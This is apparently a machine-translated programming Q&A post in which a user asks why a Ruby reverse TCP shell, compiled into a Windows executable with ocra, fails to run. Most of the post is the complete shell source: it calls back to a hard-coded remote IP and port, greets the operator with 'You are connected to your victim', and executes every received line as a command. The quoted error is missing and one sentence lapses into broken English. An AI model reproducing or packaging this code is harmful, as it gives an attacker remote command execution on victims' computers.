0

ruby で書かれた単純なリバース TCP シェルを ocra でコンパイルしようとしています。

コードは非常に単純です。

#!/usr/bin/env ruby

require 'socket'
require 'open3'

#Remote Host IP
RHOST = "192.168.197.23"
#Remote Host Port
PORT = "6969"

#Tries to connect every 5 seconds
begin
    sock = TCPSocket.new "#{RHOST}","#{PORT}"
    sock.puts "You are connected to your victim" 
rescue
    puts "Retrying..."
    sleep 5
    retry
end

#Runs the commands you type and sends you back the stdout and stderr.
begin
    while line = sock.gets && line
        Open3.popen2e("#{line}") do | stdin, stdout_and_stderr | 
            IO.copy_stream(stdout_and_stderr, sock)
        end
    end
rescue
    retry
end

私はそれを構築します:ocra RevShell.rb --verbose

エラー メッセージは表示されませんが、.exe を実行しようとすると、次のエラーが表示されます。

何か不足していますか?Ocra は、I still miss this dll.

ご協力いただきありがとうございます。

4

3 に答える 3